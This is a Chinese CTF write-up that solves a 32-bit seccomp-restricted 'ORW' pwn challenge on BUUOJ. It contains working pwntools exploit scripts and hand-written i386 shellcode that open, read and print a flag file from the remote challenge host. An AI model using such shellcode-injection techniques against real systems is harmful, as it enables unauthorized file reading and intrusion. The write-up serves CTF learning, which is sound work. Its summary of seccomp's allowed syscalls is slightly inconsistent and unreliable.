记一次ORW的题目
orw就是指你的系统调用被禁止了,不能通过子进程去获得权限和flag,只能在该进程通过 open , read ,write来得到flag
32位程序,开启了canary
调用orw_seccomp函数后,输入shellcode后执行shellcode 写入sys_call的shellcode,发现不能执行
orw_seccomp函数
seccomp 是 secure computing 的缩写,其是 Linux kernel 从2.6.23版本引入的一种简洁的
sandboxing 机制。在 Linux 系统里,大量的系统调用(system
call)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。seccomp安全机制能使一个进程进入到一种“安全”运行模式,该模式下的进程只能调用4种系统调用(system
call),即 read(), write(), exit() 和 sigreturn(),否则进程便会被终止。
orw_seccomp函数执行了两次prctl函数
第一次调用prctl函数 ————禁止提权
第二次调用prctl函数 ————限制能执行的系统调用只有open,write,exit
意思就是我们不能使用特殊的系统调用getshell,但是可以用open、read、write三个系统调用去读flag。
做题思路
一. 利用shellcraft构造
有的时候我们需要在写exp的时候用到简单的shellcode,pwntools提供了对简单的shellcode的支持。
from pwn import *
context.arch = 'i386'
p = remote('node3.buuoj.cn',28626)
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('eax','esp',100)
shellcode += shellcraft.write(1,'esp',100)
payload = asm(shellcode)
p.send(payload)
p.interactive()
二.自己动手写一套汇编程序代码
打开flag文件,sys_open(file,0,0);系统调用号为5
push 0x0 #字符串结尾
push 0x67616c66 #'flag' "flag字符串的16进制表示,由于小端序,所以是从右往左"
mov ebx,esp
xor ecx,ecx #0
xor edx,edx #0
mov eax,0x5 #调用号
int 0x80 #sys_open(flags,0,0)
读flag文件,sys_read(3,file,0x100);系统调用号为3
mov eax,0x3;
mov ecx,ebx; # ecx = char __user *buf 缓冲区,读出的数据-->也就是读“flag”
mov ebx,0x3; # 文件描述符 fd:是文件描述符 0 1 2 3 代表标准的输出输入和出错,其他打开的文件
mov edx,0x100; #对应字节数
int 0x80;
输出flag文件内容,sys_write(1,file,0x30);系统调用号为4
mov eax,0x4; # eax = sys_write
mov ebx,0x1; # ebx = unsigned int fd = 1
int 0x80;
EXp
from pwn import *
from LibcSearcher import *
context(os = "linux", arch = "i386", log_level= "debug")
p = remote("node3.buuoj.cn", 27008)
shellcode = asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')
shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80')
shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80')
p.sendlineafter('shellcode:', shellcode)
p.interactive()